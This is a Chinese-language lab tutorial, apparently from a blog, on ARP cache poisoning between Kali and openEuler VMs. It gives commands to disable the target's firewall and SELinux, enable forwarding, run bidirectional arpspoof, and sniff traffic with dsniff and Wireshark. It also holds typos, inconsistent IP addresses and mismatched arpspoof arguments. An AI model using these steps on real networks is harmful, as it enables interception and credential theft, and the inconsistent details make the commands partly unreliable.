ARP欺骗与网络嗅探
一、实验环境
1.虚拟机:kali、openeuler
Openeuler需要安装firefox浏览器
2.安装图形浏览器
dnf install gdm -y #安装图形界面管理器

Systemctl start gdm #运行图形界面

3.打开kali

二、实验步骤
1.查看并记录攻击机,靶机网络信息
Kali攻击机执行:ip a #查询本机ip,mac地址

kali攻击机执行:arp -a命令 #查看本地arp缓存表,查询网关相关信息

Openeuler靶机执行命令:ip a #查询本机ip,mac地址

Openeuler靶机执行命令:arp -a #记录本地arp缓存表

2.Openeuler靶机关闭防火墙(必须操作)
在openeuler靶机中执行:
Systemctl stop fierwalld
Setenforce 0

3.kali开启流量转发
Kali默认不会转发包,必须开启转发,否则靶机断网
Kali中输入sudo sysctl -w net.ipv4.ip_forward=1 #更改转发设置(输出1代表成功)

4.开启arp欺骗(针对靶机和网关)
找到kali机左上角的应用程序

打开两个arpspoof终端

将ip替换为自己的欧拉ip 告诉欧拉 网关的mac是kali的mac
输入指令:sudo arpspoof -i eth0 -t 192.168.18.2(网关) 192.168.18.128(靶机ip地址)(注意 这里要填自己执行ip a输出后的ip地址和网关,arp欺骗会一直执行)

针对网关:欧拉的mac是kali的mac
sudo arpspoof -i eth0 -t 192.168.18.129 192.168.18.2(注意事项同上)

两个终端持续发包,实现双向中间人劫持
5.开启dniffer流量嗅探
开第三个kali终端,执行嗅探抓包
在第三个kali终端输入:sudo dsniff -i eth0

6.打开wireshark监听,网卡选择你虚拟机使用的局域网网卡
三、验证arp欺骗成功
1.Openeuler执行:arp -a
靶机192.168.8.128的mac地址被篡改为kali攻击机地址mac,arp缓存中毒成功


2.注意事项,后续请自行关闭所有操作,网络攻击仅可在自己搭建的虚拟环境中进行,非法攻击他人计算机属于违法行为
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)